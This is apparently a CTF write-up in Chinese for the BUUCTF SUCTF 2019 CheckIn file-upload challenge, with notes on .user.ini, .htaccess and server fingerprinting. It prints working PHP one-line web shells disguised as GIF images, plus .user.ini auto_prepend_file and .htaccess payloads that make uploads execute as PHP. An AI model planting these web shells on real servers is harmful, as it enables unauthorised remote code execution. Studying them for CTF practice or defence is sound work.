CTF Web 刷题笔记|[BUUCTF-SUCTF 2019]CheckIn

0 阅读4分钟

一、题目

二、解题思路

  1. 制作一句话木马后缀是php会报错。
<?php @eval($_POST['shell']); ?>

  1. 改成jpg后缀试一下,应该是可以的,但是PHP标签被过滤了。

  1. 换一个一句话木马,绕过。
<script language="php">@eval($_POST['shell']);</script>

  1. 看来要加上图片头。成功了。
GIF89a
<script language="php">@eval($_POST['shell']);</script>

  1. 上传配置文件.htaccess

这是 Apache 环境下文件上传漏洞 的核心配置,作用是让指定文件被当作 PHP 代码执行。

让所有包含 shell 关键字的文件都被解析,用正则匹配更灵活:

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

估计要加图片头

GIF89a
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

链接不成功

  1. 环境:OpenResty (Nginx),存在 index.php,可用 .user.ini 机制。
  • 「上传目录有 index.php」是 .user.ini 套路的核心必要条件
  • 另一个必要条件是「PHP 运行在 FPM/CGI 模式(NGINX 环境)」;
  1. 上传 .user.ini 配置文件

文件名.user.ini
文件内容(必须加 GIF89a 幻数头):

GIF89a
auto_prepend_file = shell.jpg
  • 作用:告诉 PHP,所有 PHP 文件执行前,自动包含 shell.jpg

  1. 访问路径
uploads/1e833b2b9e905399ad5c0640a03817c1

再次上传shell.jpg

  1. 访问路径
http://90236890-c5b6-4fe3-b2ee-6f6d57999f31.node5.buuoj.cn:81/uploads/1e833b2b9e905399ad5c0640a03817c1/index.php

  1. 连接蚁剑
访问:http://90236890-c5b6-4fe3-b2ee-6f6d57999f31.node5.buuoj.cn:81/uploads/1e833b2b9e905399ad5c0640a03817c1/index.php
  • 密码shell
  1. 遇到一个问题就是隔一会又没办法访问了,显示找不到文件。我重新操作一遍。链接成功就马上去访问数据。
  2. 但是我还是想试一下.htaccess ,于是重新开一个靶场。当我访问时为空白。。。返回数据也为空,这是真不行。
  3. 还有关键一点是链接蚁剑时的URL地址,是要加index.php,并且这个路径要放在中间才对。
http://靶场/uploads/1e833b2b9e905399ad5c0640a03817c1/index.php

三、知识点补充

1. .user.ini

1.1. 本质

.user.ini 是 PHP 特有的目录级配置文件,优先级高于全局 php.ini,作用于当前目录及子目录的所有 PHP 文件。

  • 生效条件:PHP 运行在 CGI/FastCGI 模式(Nginx+PHP-FPM 环境必生效,本题刚好是);
  • 核心优势:绕过后缀过滤——不用传 .php 文件,仅靠图片马+.user.ini 就能执行 PHP 代码。

1.2. 本题关键 payload

GIF89a  # 图片幻数头,绕过 exif_imagetype() 类型检测
auto_prepend_file = shell.jpg  # PHP执行前自动包含指定文件
  • auto_prepend_file:PHP 执行目录内任意 .php 文件(如题目自带的 index.php)前,会把 shell.jpg 内容当作 PHP 代码执行;
  • 补充:auto_append_file 是 PHP 执行完 .php 文件后再包含,原理一致。

1.3. 应用逻辑

  • 上传的 shell.jpg 是图片后缀,服务器默认只当图片解析,不执行代码;
  • .user.ini 强制让 index.php 执行前「包含」shell.jpg → 图片马里的 PHP 代码被解析执行。

2. .htaccess

2.1. 本质

.htaccess 是 Apache 服务器的目录级配置文件(Nginx 不支持),可修改服务器解析规则。

  • 生效条件:Apache 服务器 + 开启 AllowOverride All
  • 核心作用:强制让服务器把 .jpg/.png 等非 PHP 后缀文件当成 PHP 解析。

2.2. 常用 payload(对比理解)

AddType application/x-httpd-php .jpg  # 强制将.jpg解析为PHP
php_value auto_prepend_file shell.jpg # 等效.user.ini的自动包含逻辑

2.3. 本题为什么不用?

题目黑名单过滤了 .htaccess(上传直接失败),且服务器是 Nginx(天然不支持),因此只能用 .user.ini

3. 判断 Web 服务器(Nginx/Apache/IIS)的核心方法

方法 1:看响应头

  1. 打开浏览器 → 按 F12 切换到「网络(Network)」标签 → 刷新题目页面;

  2. 找到第一个请求(通常是 index.php/首页),点击查看「响应头(Response Headers)」;

  3. Server 字段:

    • Server: nginx/xxxServer: openrestyNginx 环境(优先用 .user.ini);(比如说这道题目)
    • Server: Apache/xxxApache 环境(优先用 .htaccess);
    • Server: Microsoft-IIS/xxx → IIS 环境(考解析漏洞/短文件名)。

方法 2:看报错页面(辅助验证)

故意访问不存在的路径(比如 http://题目域名/123456.php),触发 404 报错:

  • Nginx 报错页会显示「nginx」字样,或 URL 路径保留完整(如 /123456.php);
  • Apache 报错页会显示「Apache」字样,或暴露服务器版本;
  • IIS 报错页会显示「IIS」或「Microsoft」相关标识。

方法 3:根据配置文件是否生效反推

如果响应头被隐藏,可通过上传测试文件判断:

  1. 上传 .htaccess 文件(内容随便写):

    • 上传失败/上传后访问图片马不解析 → 不是 Apache(大概率是 Nginx);
    • 上传成功且图片马被解析 → 是 Apache;
  2. 上传 .user.ini 文件:

    • 访问目录下的 index.php 能执行图片马 → 是 Nginx+PHP-FPM;
    • 无反应 → 不是该环境。

总结

服务器类型核心特征对应绕过策略
Nginx响应头有 nginx/openresty.user.ini + auto_prepend_file
Apache响应头有 Apache.htaccess 改解析规则
IIS响应头有 IIS短文件名/解析漏洞(如 xxx.asp;.jpg
  1. 判断服务器的首选方法是看响应头的 Server 字段,一眼定结果;
  2. Nginx 环境必用 .user.ini,Apache 环境必试 .htaccess